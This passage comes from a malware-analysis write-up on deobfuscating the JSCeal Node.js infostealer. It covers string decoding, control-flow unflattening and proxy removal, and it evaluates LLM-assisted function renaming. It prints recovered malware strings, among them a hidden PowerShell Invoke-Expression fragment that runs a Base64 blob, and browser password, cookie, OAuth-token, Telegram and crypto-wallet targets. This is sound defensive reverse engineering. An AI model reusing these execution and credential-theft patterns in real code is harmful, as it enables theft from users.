  • Searches for the function aggregating obfuscated string chunks. It is always referenced by the start function and can be spotted by a known pattern of the call. Example:
ACCU = func_unknown_0x93e23cef019(func_KV_0x18c3e8c9a1c1, 940600)
  • Follows and parses the function with chunks (in the above case: func_KV_0x18c3e8c9a1c1). Stores the list for further use.
  • Searches all the string decoding functions, recovers the parent index shifts, and calculates the resulting index shift for each decoder function. The input arguments can be arranged in two ways: either Rc4Key, Offset or Offset, Rc4Key – this is recognized and added to the function prototype.
r2 = (r2 + func_xt_0x274f42c4e909(99288, "h^gm")) //Offset, Rc4Key

After the first run, the deobfuscator stores parsed and calculated arguments in a CSV file. If the pass has to be re-run, the list is pre-loaded, which saves time.

Example of the listing (format: function_name,index_shift,is_index_first):

func_xt_0x274f42c4e909,125103,True
func_Et_0x1d8d5672d829,125093,False
func_u_0x3fa27d771f29,125016,True
func_r_0x93e23cf1d91,125126,True
func_n_0x93e23cf22a1,126086,True
...

After all the deobfuscating functions have been resolved, each of their resolved occurrences is replaced with its output value. The deobfuscated chunks are then chained together to form the full string.

-    r5 = func_n_0x34d57d25f3b9(60787, "Bz&S") //"defau"
-    r4 = xF[(r5 + "lt")]
+    r4 = global_xF["default"]
-    r5 = func_n_0x34d57d25f3b9(58819, "5C8Q") // "globa"
-    r5 = (r5 + func_n_0x34d57d25f3b9(17159, "SldQ")) //"lAgen"
-    return r4[(r5 + "t")]
+    return r4["globalAgent"]

After the deobfuscation is completed, the functions responsible for string decoding are no longer needed. Their representation is hidden in the code and not printed in the decompilation output.

Scale and performance

For the 23-sample dataset used in the final measurements [8], the string layer contained approximately:

  • 130,000 encoded chunks on average, with observed values from about 19,000 to 217,000;
  • 10,000 decoder configurations on average, with observed values from about 2,200 to 13,000.

Measured runtime for the string stage was:

modeminimummedianmaximum
without cache0.6 min1.7 min4.6 min
with cache0.5 min1.2 min3.0 min

After string reconstruction, the output contains both substituted plaintext and a standalone string listing. This is often the first point at which the payload starts exposing concrete artifacts such as commands, registry paths, browser targets, cryptocurrency platforms, and the attacker’s embedded public key.

Artifact overview

In addition to the main output of the pass (which is the decompiled and pickled file), the list of all the strings is dumped as text. It helps quickly give an idea of which functionalities are implemented, and to compare different payloads.

Example  listing of strings extracted from a sample: e27ae65977287bdfb7b0e15fd3603f85.deobf.txt.strings.txt

Among the interesting artifacts, we can find the public key of the attackers:

"\n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRdWl/ucoH+ZnVuxHrx2\ncTbwEY2LucyUqEJVl6trmNYaJTFX9qDYA8Z4VOaFO86MHg0cY1mJ8NALzTqDt20C\nlnqYtLEuo0Fqg9pJMhnEb078F31dilgdK+5bK7LgwXps06KQ+Dk7XxaqkbPFa7oZ\n73/q4FhrYEtBxFno0WJla7mq49/W4wJb753WYWTjRMjBKVaUIOtAtGdBp8Li2WX2\nPDqxftDcvT8hJf5H6tMJ3tQRpyHu7ljkwdivamG/labZpzKhijK7BMgrd7251sjh\n7zD6prnafayjK+nfD1dvok7Rd8TV8sa1FK8T0uMmGFdUVGK+X4f45AwNWn8OINLE\nVwIDAQAB\n-----END PUBLIC KEY-----"

There are strings related to deploying hidden PowerShell scripts and running content from a Base64-encoded blob:

"powershell -NoProfile -WindowStyle Hidden -Command \""
"Invoke-Expression ([System.Text.Encoding]::"
".GetString([System.Convert]::FromBase64String($_.unattend.Extensions."

Multiple strings suggest that the malware enumerates installed browsers, and tries to query the saved secrets, cookies, OAuth tokens, and other data:

"iterInstalledBrowsers"
"getCookies"
"application"
"launch"
"values"
"createBrowserContext"
"newPage"
"setCookie"
"getPasswords"
"div[data-identifier=\""
"findInstalledBrowser"
"--user-data-dir="
"--profile-directory="
"withCreateProcessUser"
"user_id"
"oauth_token"
"google"
"saveOAuthToken"
"/oauth2/:version/token?grant_type=authorization_code&client_id="

It also queries all installed applications and targets Telegram accounts:

"listTelegramSessions"
"listInstalledApplications"

To achieve its goals, it uses the capability to spawn additional processes:

"Process exited with code "
spawn

It creates a local proxy server with its own certificate:

"address"
close
"listen"
"127.0.0.1"
"createServer"
pki
rsa
"generateKeyPair"
"createCertificate"
"publicKey"
"serialNumber"
"certificateToPem"

Some strings are fragments of URLs for particular cryptocurrency vaults and are related to checking account balances:

".phantom-labs.vault."
"totalBalanceInUSDT"
"free_margin_usd"
"floating_usd"
"historical_balances_per_asset_category"
"total_usd_market_value"
"customer_account_USDT_balance_available"
"binance"

Many of the deobfuscated strings come from Node.js modules bundled into the payload and give an idea of what functionality to expect.

Comprehensive analysis of all the artifacts is beyond this short overview. You can find the extracted strings from all analyzed samples in the directory with additional materials [8].

Control flow unflattening

Some of the most important functions of the malware are obfuscated using Control Flow Flattening (CFF).

To resolve this layer, we must make sure that all strings are deobfuscated and propagated, because they are crucial for the execution logic. In the listing produced by the previously described filter, we find some strings in the format [number0]|[number1]|[number2]... for example: “3|2|1|0|4”. Such strings denote an order of chunks to be executed.

Typically, CFF is implemented as a state machine. We can see it represented by a while loop. In each iteration of the loop, the number is fetched from the list. This number is further checked against nested if statements, directing to the chunk of code to be executed. In the simplest form, a chunk ends with continue, causing the loop to progress to another case.

Example (from: 03f4e47b9c2283c32bb8f8f042ce6e41):

function func_Mz_0x6035be98311(a0)
{
    r5 = Scope[0]
    r2 = func_r_0x6035be98a69
    Scope[6705][2] = new {"w": 1342}
    r6 = new {"jGBGz": null, "hBPBb": null, "qbyOP": null, "ykkYm": null, "SeAyf": null, "yHrsY": null, "umIdy": null, "RBgqe": null}
    r6["jGBGz"] = "3|2|1|0|4"
    r6["hBPBb"] = func_hBPBb_0x6035be990e9
    r6["qbyOP"] = "wss"
    r6["ykkYm"] = func_ykkYm_0x6035be991e9
    r6["SeAyf"] = func_SeAyf_0x6035be992e9
    r6["yHrsY"] = "https"
    r6["umIdy"] = "http"
    r6["RBgqe"] = "Invalid protocol"
    r1 = r6
    r7 = r1["jGBGz"]
    r6 = r7["split"]
    r3 = r6("|")
    r4 = 0
    while (true)
    {
        r7 = Number(r4)
        r4 = (Number(r4) + 1)
        r6 = r3[r7]
        if (!r6 === "0")
        {
            if (!r6 === "1")
            {
                if (!r6 === "2")
                {
                    if (!r6 === "3")
                    {
                        if (!r6 === "4")
                        {
                            continue
                        }
                        r7 = r1["hBPBb"]
                        r10 = r1["qbyOP"]
                        if (r7(a0, r10))
                        {
                            r7 = global_Tb["default"]
                            return r7["globalAgent"]
                        }
                        continue
                    }
                    r7 = r1["ykkYm"]
                    if (r7(a0, "ws"))
                    {
                        r7 = global_Nb["default"]
                        return r7["globalAgent"]
                    }
                    continue
                }
                r7 = r1["SeAyf"]
                r10 = r1["yHrsY"]
                if (r7(a0, r10))
                {
                    r7 = global_Tb["default"]
                    return r7["globalAgent"]
                }
                continue
            }
            r7 = a0["split"]
            r7 = r7(":")
            a0 = r7[0]
            r7 = r1["hBPBb"]
            r10 = r1["umIdy"]
            if (r7(a0, r10))
            {
                r7 = global_Nb["default"]
                return r7["globalAgent"]
            }
            continue
        }
        r8 = r1["RBgqe"]
        ACCU = Error
        ACCU = Error(r8)
        break
    }
    return undefined
}

We start the deobfuscation by identifying the beginnings and ends of each code chunk. For example, to find the chunk number 0, we first need to identify the if statement that actually checks against the negation of this condition: if (!r6 === "0"). Once we find the statement, we have to skip the body under it (since it is a negation) and find the first closing bracket with the same indentation as the statement itself. This is where the chunk indexed as 0 actually starts.

Once we have all the chunks mapped, we rearrange them by the order defined by the string, adjusting their indentations.

The same function, unflattened:

function func_Mz_0x6035be98311(a0)
{
    r5 = Scope[0]
    r6 = new {"jGBGz": null, "hBPBb": null, "qbyOP": null, "ykkYm": null, "SeAyf": null, "yHrsY": null, "umIdy": null, "RBgqe": null}
    r6["hBPBb"] = func_hBPBb_0x6035be990e9
    r6["qbyOP"] = "wss"
    r6["ykkYm"] = func_ykkYm_0x6035be991e9
    r6["SeAyf"] = func_SeAyf_0x6035be992e9
    r6["yHrsY"] = "https"
    r6["umIdy"] = "http"
    r6["RBgqe"] = "Invalid protocol"
    r1 = r6
    r4 = 0
    r7 = a0["split"]
    r7 = r7(":")
    a0 = r7[0]
    r7 = r1["hBPBb"]
    r10 = r1["umIdy"]
    if (r7(a0, r10))
    {
        r7 = global_Nb["default"]
        return r7["globalAgent"]
    }
    r7 = r1["SeAyf"]
    r10 = r1["yHrsY"]
    if (r7(a0, r10))
    {
        r7 = global_Tb["default"]
        return r7["globalAgent"]
    }
    r7 = r1["ykkYm"]
    if (r7(a0, "ws"))
    {
        r7 = global_Nb["default"]
        return r7["globalAgent"]
    }
    r7 = r1["hBPBb"]
    r10 = r1["qbyOP"]
    if (r7(a0, r10))
    {
        r7 = global_Tb["default"]
        return r7["globalAgent"]
    }
    r8 = r1["RBgqe"]
    ACCU = Error
    ACCU = Error(r8)
    return undefined
}

For the sake of comparison, let’s see it with further deobfuscation filters applied:

function func_Mz_0x6035be98311(a0)
{
    r4 = 0
    r7 = a0["split"]
    r7 = r7(":")
    a0 = r7[0]
    if (a0 === "http")
    {
        return global_Nb["default"]["globalAgent"]
    }
    if (a0 === "https")
    {
        return global_Tb["default"]["globalAgent"]
    }
    if (a0 === "ws")
    {
        return global_Nb["default"]["globalAgent"]
    }
    if (a0 === "wss")
    {
        return global_Tb["default"]["globalAgent"]
    }
    ACCU = Error
    ACCU = Error("Invalid protocol")
    return undefined
}

At this point the function’s intention becomes clear. It performs a lookup that returns the appropriate globalAgent for a given protocol.

The caveats

Sometimes, the chunks of code that are executed in each state are decompiled in a way that makes them difficult to separate cleanly. Let’s take a look at the following example:

while (true) //The dispatcher loop
{
    r15 = Number(r4)
    r4 = (Number(r4) + 1)
    r14 = r3[r15]
    if (!r14 === "0")
    {
            // Other chunks...
            // [...]
    }
    // Chunk 0:
    r15 = r2["Uugef"]
    if (r15(r11, r12))
    {
        ACCU = 0
        continue ///<- this is not the end of the chunk...
    }
    r15 = r2["PgJCU"]
    r17 = r2["LqFvW"]
    r17 = r17(r11, r12)
    if (r15(r17, r5))
    {
        ACCU = 1
        continue ///<- this is not the end of the chunk...
    }
    return -1
    break
}

We have continue statements inside the if blocks. In the original flow, this leads to jumping back to the top of the loop and fetching another chunk from the list. But when we unflatten the flow, and remove the loop, it no longer makes sense, so this logic has to be rewritten.

The chunk should therefore look as follows after this adjustment:

// Chunk 0:
r15 = r2["Uugef"]
if (r15(r11, r12))
{
    ACCU = 0
}
else // added else statement
{
    r15 = r2["PgJCU"]
    r17 = r2["LqFvW"]
    r17 = r17(r11, r12)
    if (r15(r17, r5))
    {
        ACCU = 1
    }
    else // added else statement
    {
        return -1
    }
}

The continue statements have been removed, and the code that originally followed each if statement has been moved into the corresponding else clause.

The current version of our deobfuscation pass can handle such scenarios. It automatically removes the nested continue statements and reconstructs the equivalent logic by building an else clause from the code that follows the original if statement. This has proved sufficient in the majority of the analyzed cases. However, we may occasionally encounter more complex or ambiguous variants that are not yet resolved. These cases will be addressed in future versions as our toolkit [7] evolves.

Resolving Proxies and Operations

Across the code, we often encounter functions that act as proxies for other functions. Their only role is to complicate the flow, misleading readers about the actual function being called and making its arguments harder to parse.

The simplest proxies look as follows: the actual function that is about to be called is just passed as one of the arguments.

function func_hgFUm_0x17275c6577e9(a0, a1, a2, a3, a4, a5, a6)
{
    r1 = a1
    r2 = a2
    r3 = a3
    r4 = a4
    r5 = a5
    r6 = a6
    return a0(r1, r2, r3, r4, r5, r6)
}
function func_oWgYF_0x17275c6566c1(a0, a1, a2, a3, a4)
{
    r1 = a1
    r2 = a2
    r3 = a3
    r4 = a4
    return a0(r1, r2, r3, r4)
}

They are usually simple to resolve. First, we reduce each of them to their basic form, which removes the use of the local registers. For example:

function func_INBzN_0x16abcdb5cc69(a0, a1, a2, a3)
{
-   r1 = a1
-   r2 = a2
-   r3 = a3
-   return a0(r1, r2, r3)
+   return a0(a1, a2, a3)
}

Then, we replace their calls. After all the calls to the particular proxy are replaced with their basic meaning, the proxy itself can be hidden in the code.

Example:

-function func_INBzN_0x16abcdb5cc69(a0, a1, a2, a3)
-{
-   return a0(a1, a2, a3)
-}

@@ -22213,7 +21565,7 @@ function func_J_0x16abcdb59891()
    }
    else
    {
-       ACCU = func_INBzN_0x16abcdb5cc69(func_k_0x16abcdb5a2d9, <this>, null, null)
+       ACCU = func_k_0x16abcdb5a2d9(<this>, null, null)
    }

As with proxy calls, there are plenty of other small functions that should be resolved and hidden. In multiple places in the code we can find operations that are implemented by functions, with obfuscated names.

For example:

function func_wcmWN_0x35459f2fab89(a0, a1)
{
    return a0 in a1
}
function func_eBvDY_0x35459f2fa789(a0, a1)
{
    return (a0 - a1)
}
function func_wNPyv_0x35459f2fa689(a0, a1)
{
    return (a0 / a1)
}
function func_oEEDc_0x35459f2faa89(a0, a1)
{
    return a0(a1)
}

The same operation can also be defined by multiple instances of an identical function (i.e. there are multiple functions implementing simple addition).

One of our deobfuscating passes is meant to replace calls to such functions with the actual operations that they represent. However, the functions may not be called directly. So, before we proceed with the substitution, we need to apply all needed simplifications.

Iterative propagation of the structures

To complicate the flow even more, the variables and functions are often not used directly. They may be first defined as a local dictionary, initialized, then passed further, to be referenced in different parts of the code.

In the snippet below, a dictionary is first assigned to the local register r1, filled with references to functions, and further assigned to the scope variable (Scope[846][21]).

    r1 = new {"hKCZK": null, "kdujm": null, "siBVG": null, "qQNNx": null, "ECBQT": null, "Bdomb": null}
    r1["hKCZK"] = func_hKCZK_0x24149a8df611
    r1["kdujm"] = func_kdujm_0x24149a8df931
    r1["siBVG"] = func_siBVG_0x24149a8dfbe1
    r1["qQNNx"] = func_qQNNx_0x24149a8dfe99
    r1["ECBQT"] = func_ECBQT_0x24149a8e0151
    r1["Bdomb"] = func_Bdomb_0x24149a8e0409
    Scope[846][21] = r1

Then, each of these functions is called indirectly, by one of the children of the declarer.

Notice that the keys of many of the dictionaries are strings. This is why decrypting strings is such a crucial step in the whole pipeline: without them, we are unable to proceed further.

Due to the layered nature of the obfuscator, the pass that propagates such defined structures must be run multiple times at different stages. The arguments to the string deobfuscation functions are also often passed via dictionaries set into a scope. One such example is given below – in this case, the string decoding function is called via register r5, and its two arguments are passed via Scope[846][3]:

r10 = Scope[846][21][r5(Scope[846][3]["N"], Scope[846][3]["M"])]

Only after filling them in and deobfuscating strings are we able to see the actual key of the next dictionary (in the given case, it is "qQNNx"). The next run of the pass allows us to resolve this key to the value it was mapped to by another function (here: it is a reference to the function func_qQNNx_0x24149a8dfe99).

r10 = Scope[846][21]["qQNNx"] //func_qQNNx_0x24149a8dfe99

This is not the end of the rabbit-hole. The referenced function may itself use values passed in a similar way. Below we can see that it first fetches some function via Scope[845][29] using the key "PQxQy" and then calls this function with two arguments. Basically, it is a wrapper.

function func_qQNNx_0x24149a8dfe99(a0, a1)
{
    r1 = Scope[845][29]["PQxQy"]
    return r1(a0, a1)
}

Once we track upstream what is behind this key, we find a reference to another function:

r4 = new {... "PQxQy": null, ...}
...
    r4["PQxQy"] = func_PQxQy_0x24149a8dd581
...
    Scope[845][29] = r4

Finally, after resolving it to a self-contained unit we find that this whole chain leads to the execution of a simple atomic operation:

function func_PQxQy_0x24149a8dd581(a0, a1)
{
    return (a0 - a1)
}

By peeling the layers, one by one, we manage to express such operations with their literal meaning. An example of the complete simplification process is given below.

Step 1 (initial decompiled code):

function func_value_0x24149a8e3d19(a0)
{
[...]
        r10 = Scope[846][21][r5(Scope[846][3]["N"], Scope[846][3]["M"])]
        r13 = r5(Scope[846][3]["k"], Scope[846][3]["Q"])
        r12 = r0[(r13 + "h")]
        r10 = r10(r12, a0)

Step 2 (resolve arguments for the string deobfuscation function func_me_0x24149a8e4421):

        r10 = Scope[846][21][func_me_0x24149a8e4421(12568, "%]hf")] //"qQNNx"
        r13 = func_me_0x24149a8e4421(34408, "[Jy3") //"lengt"
        r12 = r0[(r13 + "h")]
        r10 = r10(r12, a0)

Step 3 (the string revealed the key of another dictionary passed via scope, that resolves to a function):

        r10 = Scope[846][21]["qQNNx"] // func_qQNNx_0x24149a8dfe99
        r12 = r0["length"]
        r10 = r10(r12, a0)

Step 4 (the found function is called in the line below; it resolves to a proxy function):

        r12 = r0["length"]
        r10 = func_qQNNx_0x24149a8dfe99(r12, a0) // ->  func_PQxQy_0x24149a8dd581

Step 5 (substitute the proxy function with the actual function it calls):

r12 = r0["length"]
r10 = func_PQxQy_0x24149a8dd581(r12, a0)

Step 6 (the call resolves to an atomic operation and can be substituted by such):

r12 = r0["length"]
r10 = (r12 - a0)

The given example is just one of the possible variants in which such a propagation chain may work. It has been presented to give an idea of the underlying complexity.

Interpreting the flow

Once we have the major obfuscation layers removed, the malware starts revealing its shape. This allows us to pinpoint the most important building blocks of the whole execution flow, and guide next steps.

The entry point of the file is the function labeled start. At the very end of it, the functions that will be running the main operations are set up. Example:

    global_Xr = func_Xr_0x93e23cef8e9
    [...]
    d7e = global_Xr(func_unknown_0x217bb6195779)
    [...]
    G7e = {}
    M7e = global_Xr(func_unknown_0x7b2a97682c9)
    j7e = require("dns")
    ACCU = global_n2()
    r1 = j7e["setServers"]
    r3 = new [0, 0]
    r3[0] = "1.1.1.1"
    r3[1] = "8.8.8.8"
    ACCU = r1(r3)
    ACCU = global_Soe(__filename)
    if (global_Soe(__filename))
    {
        ACCU = global_d7e()
        ACCU = global_kV(s7e)
    }
    else
    {
        ACCU = global_M7e()
        ACCU = global_kV(G7e)
    }
    r0 = ACCU
    return ACCU
}

This still contains some obfuscation patterns that need to be understood and removed.

Proxy functions using scopes

The start function sets up several proxy functions that are further referenced via globals. They come in a few different variants, but we will illustrate the most common type. Let’s focus on the fragments of the earlier snippet:

global_Xr = func_Xr_0x93e23cef8e9
...
d7e = global_Xr(func_unknown_0x217bb6195779)
...
M7e = global_Xr(func_unknown_0x7b2a97682c9)
...
    if (global_Soe(__filename))
    {
        ACCU = global_d7e()
        ...
    }
    else
    {
        ACCU = global_M7e()
        ...
    }

The global_Xr variable points to the following function:

function func_Xr_0x93e23cef8e9(a0, a1)
{
    r0 = Scope[0]
    Scope[8554][3] = a0
    Scope[8554][2] = a1
    return func_unknown_0x93e23cef9f9
}

That function finishes by returning a reference to another function, which makes the second part of the flow. It uses the scope arguments that were previously set up:

function func_unknown_0x93e23cef9f9()
{
    if (Scope[8554][3])
    {
        r0 = Scope[8554][3]
        Scope[8554][3] = 0
        Scope[8554][2] = r0(0)
    }
    return Scope[8554][2]
}

The first step in deobfuscating it is recognizing how these functions behave when joined as one unit. It could be represented by the following pseudo-code:

function Xr(fn, cached) {
  return function thunk() {
    if (fn) {
      const tmp = fn;
      fn = 0;
      cached = tmp(0);
    }
    return cached;
  };
}

This is a lazy, one-shot wrapper: on its first invocation it calls the supplied function and caches the result; subsequent calls return the cached value. In the initialization sites shown here, the thunk is used to reach the underlying function, so for analysis we can collapse that indirection and expose the actual target directly.

We can observe it referenced similarly to the example below:

global_d7e = global_Xr(func_unknown_0x217bb6195779)
[...]
ACCU = global_d7e()

There is now a global thunk wrapping the target function. Once we understand this indirection, in the initialization path shown here we can expose the target directly:

ACCU = func_unknown_0x217bb6195779()

So, the final dispatcher can be interpreted as:

if (global_Soe(__filename))
    {
        ACCU = func_unknown_0x217bb6195779()
        ACCU = global_kV(s7e)
    }
    else
    {
        ACCU = func_unknown_0x7b2a97682c9()
        ACCU = global_kV(G7e)
    }

Finding the vital functions

To understand the flow further, we need to see what happens in the function called in each branch. Let’s look at one of them:

function func_unknown_0x7b2a97682c9()
{
    r5 = Scope[0]
    r2 = func_r_0x7b2a9768611
    r6 = new {"bALca": null, "rPEMA": null, "PUUhv": null, "zEykL": null}
    r6["rPEMA"] = func_rPEMA_0x7b2a9768939
    r6["PUUhv"] = func_PUUhv_0x7b2a9768a39
    r6["zEykL"] = func_zEykL_0x7b2a9768b39
    r1 = r6
    r4 = 0
    r7 = r1["zEykL"]
    ACCU = r7(P7e)
    r7 = r1["rPEMA"]
    ACCU = r7(X7e)
    r7 = r1["PUUhv"]
    ACCU = r7(N7e)
    r7 = r1["rPEMA"]
    ACCU = r7(R7e)
    return undefined
}

Functions like rPEMA simply perform calls via a proxy:

function func_rPEMA_0x7b2a9768939(a0)
{
    return a0()
}

So the real meaning is:

function func_unknown_0x7b2a97682c9()
{
    r4 = 0
    ACCU = global_P7e()
    ACCU = global_X7e()
    ACCU = global_N7e()
    ACCU = global_R7e()
    return undefined
}

In the other branch of the statement, it is:

function func_unknown_0x217bb6195779()
{
    r4 = 0
    ACCU = global_RU()
    ACCU = global_n7e()
    ACCU = global_c7e()
    ACCU = global_Xf()
    ACCU = global_FE()
    ACCU = global_x7e()
    return undefined
}

Functions such as P7e are defined in the start function as globals and resolve to:

global_RU = global_Xr(func_unknown_0x217bb618aaf1)
global_n7e = global_Xr(func_unknown_0x217bb618e1f1)
global_c7e = global_Xr(func_unknown_0x217bb61943c1)
global_Xf = global_Xr(func_unknown_0x1cab5d7b26e9)
global_FE = global_Xr(func_unknown_0x1d8d5671d7f1)
global_x7e = func_x7e_0x217bb6194f91

global_P7e = global_Xr(func_unknown_0x7b2a9764cb1)
global_X7e = global_Xr(func_unknown_0x7b2a9766509)
global_N7e = global_Xr(func_unknown_0x7b2a975fa61)
global_R7e = global_Xr(func_unknown_0x7b2a9751711)

Those are the functions that implement the actual malware functionality. Some of them are further obfuscated, for example:

function func_unknown_0x217bb618e1f1()
{
    r3 = Scope[0]
    r4 = new {"Vhzac": null, "ZljYv": null, "MbImZ": null}
    r4["Vhzac"] = func_Vhzac_0x217bb618e6d1
    r4["ZljYv"] = func_ZljYv_0x217bb618e7d1
    r4["MbImZ"] = func_MbImZ_0x217bb618e8d1
    r1 = r4
    r4 = r1["Vhzac"]
    ACCU = r4(f1)
    r4 = r1["ZljYv"]
    r7 = r1["Vhzac"]
    r7 = r7(Qs)
    global_eb = r4(Di, r7)
    r4 = r1["MbImZ"]
    ACCU = r4(ag)
    return undefined
}

After replacing the wrappers, we can see more clearly what the above code represents:

function func_unknown_0x217bb618e1f1()
{
    r3 = Scope[0]
    ACCU = global_f1() //   global_f1 = global_Xr(func_unknown_0x23f664e8d2b1)
    r7 = global_Qs() //     global_Qs = global_du(func_unknown_0x1cab5d7a90b1)
    global_eb = global_Di(r7) //    global_Di = func_Di_0x93e23cf17b1
    ACCU = global_ag() //   global_ag = global_Xr(func_unknown_0x1cab5d7b0399)
    return undefined
}

Further substituting the globals with their literal values and removing all the proxy layers finally reveals the bare dispatcher functions that can be easily followed and analyzed.

After the final transformation, the function presented above takes the following form:

function func_unknown_0x217bb618e1f1()
{
    ACCU = func_unknown_0x23f664e8d2b1()
    r7 = func_unknown_0x1cab5d7a90b1["exports"]()
    global_eb = func_Di_0x93e23cf17b1(r7)
    ACCU = func_unknown_0x1cab5d7b0399()
    return undefined
}

LLM-assisted function renaming

After the deterministic deobfuscation passes, the output is structurally much cleaner: strings are visible, important flattened flows have been reconstructed, and many proxy and operation-wrapper functions have disappeared. One problem remains unavoidable: compilation and obfuscation have destroyed the original semantic function names.

For a small program, an analyst could rename important functions manually. JSCeal contains thousands of functions, including a large amount of bundled dependency code, so manual naming does not scale. We therefore added an optional LLM-assisted renaming stage as a navigation aid.

The distinction is important: the LLM does not perform the core deobfuscation, and its output is not treated as evidence. It receives code that has already been recovered by the static pipeline and proposes labels intended to make the resulting function graph easier to browse.

Dependency-aware renaming

Because functions depend on other functions, the order in which they are sent to the renamer matters.

We start by building a dependency graph from the entry point. In the default mode, the graph follows direct function calls. In greedy mode, it follows all visible function references, including callbacks, handlers, and functions assigned into objects. Greedy mode therefore covers a broader part of the program, but it also produces a much larger graph.

Renaming proceeds leaf-first. Functions with the fewest unresolved dependencies are processed first. Each proposed name is then propagated into dependent functions before the next layer is processed. By the time the renamer reaches a high-level function, many of its callees already carry descriptive labels.

Conceptually:

Figure 4 - The conceptual flow of the function renamer
Figure 4 – The conceptual flow of the function renamer

The tool can send functions individually or group them into bulk requests. Generated mappings are stored in CSV, which also acts as a cache: interrupted runs can continue without re-querying functions that have already been covered. Reviewed or externally generated CSV mappings can also be applied without contacting an LLM.

The public release supports Anthropic, OpenAI, and Ollama backends. It also provides a focused --func mode for requesting a detailed analysis of one selected function, including a proposed name, behavior summary, evidence, and unresolved uncertainty.

Evaluating the proposed names

Because a plausible-sounding function name may still be incorrect, we evaluated the renaming stage separately from the deterministic deobfuscation.

The supporting experiments were conducted by extracting selected, context-rich function trees, starting from the roots responsible for the malware initialization logic, submitting them to the LLM-assisted analysis workflow, and manually verifying the proposed names.

For the final comparison, we generated names from the same normalized deobfuscated base using Claude Sonnet 4.6 and GPT-5.4-mini. Note that these models are not perfectly matched vendor tiers, but practical model configurations for processing payloads this large that were available at the time. This evaluation should be treated as an example, not as a ranking.

The results of one of the experiments are available in the repository of the supplementary materials [8] (session1).

Across more than 21,000 functions, the two models selected exactly the same textual name only 9.3% of the time. This provided a broad measure of naming agreement, but not of semantic correctness. Different names can describe the same behavior while failing an exact-string comparison. We therefore performed a separate contextual evaluation on 142 selected function trees, each built from a selected root toward its dependencies.

Across 142 selected roots:

  • both proposed names were semantically reasonable in 117 cases;
  • only the Sonnet name held up in 22 cases;
  • only the GPT name held up in 3 cases.

When we applied a stricter criterion — whether the name was both correct and sufficiently informative about the function’s actual role — Sonnet produced 128/142 useful names, while GPT produced 30/142. In another 90 cases, the GPT name still identified the correct general area of behavior but was too broad or imprecise to serve as a strong semantic label.

A representative example is a function that locates a certificate in the Windows certificate store and removes it. GPT labeled it findCertificate, capturing part of the implementation but missing the function’s effect. Sonnet proposed removeCertificate, which better described the behavior.

Sonnet was not infallible either. In one case, it proposed decryptLocalStateFile, while the function actually read and decrypted a DPAPI master-key file from the Windows Protect directory and verified its HMAC. The label sounded plausible because the surrounding code dealt extensively with browser decryption, but the function body did not support that exact interpretation.

These examples define the boundary of the method. The proposed name is a hypothesis. The function body is the evidence.

Strings, APIs, file paths, called functions, and data flow remain the basis for every important analytical claim. The LLM stage helps us find and navigate relevant logic faster; it does not replace reverse engineering.

Example: getGlobalAgent

The running example from the earlier deobfuscation stages is a good illustration. After string recovery, control-flow unflattening, and proxy/operation cleanup, its behavior is already visible: it normalizes a protocol and returns the appropriate HTTP or HTTPS global agent.

The model proposed the name getGlobalAgent, which is well supported by the body:

function getGlobalAgent(url) {
  const protocol = url.split(":")[0];

  if (protocol === "http") {
    return http.default.globalAgent;
  }

  if (protocol === "https") {
    return https.default.globalAgent;
  }

  if (protocol === "ws") {
    return http.default.globalAgent;
  }

  if (protocol === "wss") {
    return https.default.globalAgent;
  }

  throw new Error("Invalid protocol");
}

The useful part is not that the model “discovered” the behavior. The static pipeline had already exposed it. The name simply compresses that understanding into a label that can be propagated into higher-level callers.

Overview of the deobfuscated code

Although all the JSCeal payloads have similarities, their exact functionality may vary. In this part we will do a brief case study based on one selected sample:

Details of the campaign delivering this particular payload are given in Microsoft’s article [12] and Cato article [13].

ℹ Note that a comprehensive analysis of JSCeal’s capabilities is beyond the scope of this article; here we highlight selected functions to demonstrate that the deobfuscated output is sufficient for practical threat analysis.

Initialization

After cleaning up the whole flow, the start function becomes much smaller. We additionally applied the optional LLM-assisted renaming stage in greedy mode, which makes the recovered function graph easier to navigate.

Multiple structures are initialized in the start function. The proposed labels provide useful hints about their roles; the relevant behavior can then be verified by inspecting the recovered function bodies.

From the recovered assignments, we can see that a structure prepared locally is then copied into a global variable. For example:

    global_Nm = {}
    r3 = new {"default": null, "disableOverrideQR": null, "overrideQR": null}
    r3["default"] = func_getPm_0x10000bdcb
    r3["disableOverrideQR"] = func_getRemoveElementFn_0x10000bdcc
    r3["overrideQR"] = func_getQrLoginInitiator_0x10000bdcd
    ACCU = func_defineGetterProperties_0x100003170(global_Nm, r3)

The initialization of the actual malware logic is always at the end of the start function. Since all the functions are called directly now (not via proxies), and are renamed, we can quickly focus on those that actually initialize the malware functionalities.

    global_s7e = {}
    global_G7e = {}
    ACCU = func_requireCluster_0x10000317e()
    r1 = (require("dns"))["setServers"]
    r3 = new [0, 0]
    r3[0] = "1.1.1.1"
    r3[1] = "8.8.8.8"
    ACCU = r1(r3)
    ACCU = func_setupWorkerPrimary_0x100000001(__filename)
    if (func_setupWorkerPrimary_0x100000001(__filename))
    {
        ACCU = func_initializeApplication_0x10000c926()
        ACCU = func_markEsModule_0x10000317b(global_s7e)
    }
    else
    {
        ACCU = func_initializeModules_0x10000d2fe()
        ACCU = func_markEsModule_0x10000317b(global_G7e)
    }
    r0 = ACCU
    return ACCU
}

As we can see above, there are two alternative initialization functions, both leading to the setup of handlers for the core functionality. The decision about which path to follow is made by the function labeled func_setupWorkerPrimary_0x100000001, which returns true when the code is running in the primary cluster process and on the main thread. It also configures the primary cluster process to use "advanced" serialization.

function func_setupWorkerPrimary_0x100000001(a0)
{
    if (!global_uE["default"]["isPrimary"])
        || (!(require("worker_threads"))["isMainThread"])
    {
        return false
    }
    if ((a0))
    {
        ACCU = Error
        ACCU = Error("Worker root already configured")
    }
    r4 = global_uE["default"]
    if (r4["isPrimary"])
    {
        r4 = global_uE["default"]["setupPrimary"]
        r6 = new {"serialization": null}
        r6["serialization"] = "advanced"
        ACCU = r4(r6)
    }
    return true
}

Originally, both initialization functions that follow the decision were obfuscated with Control Flow Flattening, and used wrapped calls. Now their meaning is much clearer, and the inner function names give us a better approximation of what to expect.

Variant 1 (primary, main thread):

function func_initializeApplication_0x10000c926()
{
    r4 = 0
    ACCU = func_initializeFaroClient_0x100005504()
    ACCU = func_initializeMainRouter_0x10000c910()
    ACCU = func_initLevelDbModule_0x10000a912()
    ACCU = func_initializeMachineIdModule_0x10000c915()
    ACCU = func_initializeModules_0x10000c91e()
    ACCU = func_runMigrations_0x100000ab3()
    return undefined
}

